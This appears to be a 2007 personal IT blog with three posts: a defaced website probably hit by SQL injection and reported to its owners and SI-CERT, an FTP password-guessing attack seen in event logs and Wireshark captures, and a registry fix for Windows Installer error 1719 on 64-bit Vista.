For my next post on these attacks, I will try to find out more about the other attack that I am frequently seeing.

Server hacked by ertuqrul...

2007-09-10T20:07:00.000+02:00

Few days ago I was searching for information when I came across a website that was defaced. The only evidence of the crime on the page was a title text where hacker left his signature "hacked by ertuqrul" (picture below).

No, I will not reveal the site's name. ;-)

I Googled the name "ertuqrul" and found that visited website was not the only one attacked by this person.

I believe that this page was a victim of SQL Injection attack. Input fields on this server lack any serious input validation. When performing simple test, I received standard error which is usually strong indicator that SQL Injection is possible.

I tried to contact the owners of the website through regular e-mail addresses such as webmaster@...si and info@...si which are defined in RFC 2142. Both times I received Non Delivery Report (NDR) indicating that these mailboxes do not exist. I finally found an e-mail on the website which worked. I also notified SI-CERT just in case...

Few thoughts:

If you are an owner of the web server or web site, make sure it is secure. Make sure that if you have any input fields on the site that you do validation of the data passed to the server. Note that client side validation is not (!!!) enough
Make sure that general e-mail addresses such as webmaster, postmaster, hostmaster, abuse, etc. valid and monitored

Hijacked servers are not only bad for bad reputation of the owner. They can also be very dangerous for any visitor that comes across it. Hacker could include malicious code on the pages and infect the visitor's computer. As demonstrated earlier this year at RSA Conference in San Francisco, such attacks can be platform and browser independent.

Of course attackers prefer the servers with high volume of visitors such as Super Bowl Web Sites that was hacked this year (2007).

My personal "favorite" attack on the client where malicious website reconfigures your home router. Actually the only thing that it changes is DNS server. Innocent? Not necessarily.

Imagine that you want to visit your online bank. You query (well, your browser does the querying) a DNS server for IP address of your online bank server. The only problem is that now you are using hacker's DNS server and he can take you wherever he wants...

Recommendations:

In general I would recommend that any "hacked" server is first taken offline
Consider if you want to legally pursue the attackers, contact law enforcement agencies and follow their advice from here
Analyze the server for security holes (e.g. lack of security in applications; input validations, etc) and remove them
It can often be pretty difficult to determine the extent of "damage" on the server. For this reason in the end I usually opt for reinstallation of the server.

Attacks against FTP servers... (Part 1)

2007-09-01T19:10:00.000+02:00

A while ago, when I was doing some regular maintenance on one of my FTP servers I noticed that someone was running an attack against it. Attacker was attempting to guess a password for Administrator account. Unfortunately these kind of attacks are not uncommon and are usually done using automation tools and scripts.

I noticed that in latest attack, they only tried to guess password for Administrator account. In some of the previous attacks they also tried guessing different account names.

First thing that I noticed on the server are Events ID 100 in the System log. There were literally hundreds of these events:

Event Type: Warning¸
Event Source: MSFTPSVC
Event Category: None
Event ID: 100
Date: 20.8.2007
Time: 11:54:30
User: N/A
Computer: SERVER
Description: The server was unable to logon the Windows NT account 'Administrator' due to the following error: Logon failure: unknown user name or bad password. The data is the error code.

For more information, see Help and Support Center at http://go.microsoft.com/fwlink/events.asp.

Data: 0000: 2e 05 00 00 ....

Click image to enlarge

I wanted to dig a bit further into these automated attacks. Two main goals of my digging were:

what passwords are run against my servers
what are they trying to do once they gain access

To achieve my first goal, I installed Wireshark (once also known as Ethereal) on the server and set it to listen only for FTP traffic. I didn't have to wait too long.

Couple of days later I logged on to the server just when the attack was in progress.

This time the it came from IP address 220.178.4.124. APNIC Whois database shows that IP address belong to "CHINANET anhui province network".

Attackers run 10.399 passwords against the Administrator account. Here is a complete list of all the passwords that they used. Make sure that you don't use them on your server ;-). It took them a bit more than 3 hours to carry out (unsuccessful) attack.

Click image to enlarge.

For part two of this blog post I plan to write about what happens once an attackers gets correct password.

Error 1719. The Windows Installer Service could not be accessed... and Windows Vista

2007-08-23T17:43:00.000+02:00

In February this year I received new HP NW9440 notebook. I decided to install 64 bit version of Microsoft Windows Vista Ultimate on it. After installing all the usual applications like Microsoft Office 2007 I wanted to install some more "exotic" ones, like Microsoft Virtual PC 2007 (64 bit of course). Here I run into a problem. Virtual PC did not want to install on my computer and if was failing with error:

I searched through usual KB articles and solutions, but none of them applied or helped my Vista. Because of other engagements and in need of quick solution I gave up on Virtual PC for the time being.

I almost forgot about the problem for couple of months, until I needed to install Microsoft Network Monitor 3 (again of course 64 bit), but this installation too failed with same error as Virtual PC.

In event logs I was receiving these two errors:

Log Name: Application
Source: MsiInstaller
Date: 4.7.2007 9:59:57
Event ID: 11719
Task Category: None
Level: Error
Keywords: Classic
User: PC\mike
Computer: PC
Description: Product: Microsoft Network Monitor 3.0 -- Error 1719. The Windows Installer Service could not be accessed. This can occur if you are running Windows in safe mode, or if the Windows Installer is not correctly installed. Contact your support personnel for assistance.

Log Name: Application
Source: MsiInstaller
Date: 8.6.2007 14:51:41
Event ID: 11719
Task Category: None
Level: Error
Keywords: Classic
User: PC\mike
Computer: PC
Description: Product: MSXML 6.0 Parser (KB927977) -- Error 1719. The Windows Installer Service could not be accessed. This can occur if you are running Windows in safe mode, or if the Windows Installer is not correctly installed. Contact your support personnel for assistance.

In June I was away for a week, teaching at one of the Boot Camps, when I final had some spare time to play and explore the problem. I also had another 64 bit Windows Vista computer in the classroom that I could abuse.

In the end I solved this problem by exporting HKLM\SYSTEM\CurrentControlSet\Services\msiserver registry key on the other 64 bit Vista in the classroom and imported it on my laptop.

Click image to enlarge.

After that I had no problem installing Virtual PC or any other piece of software.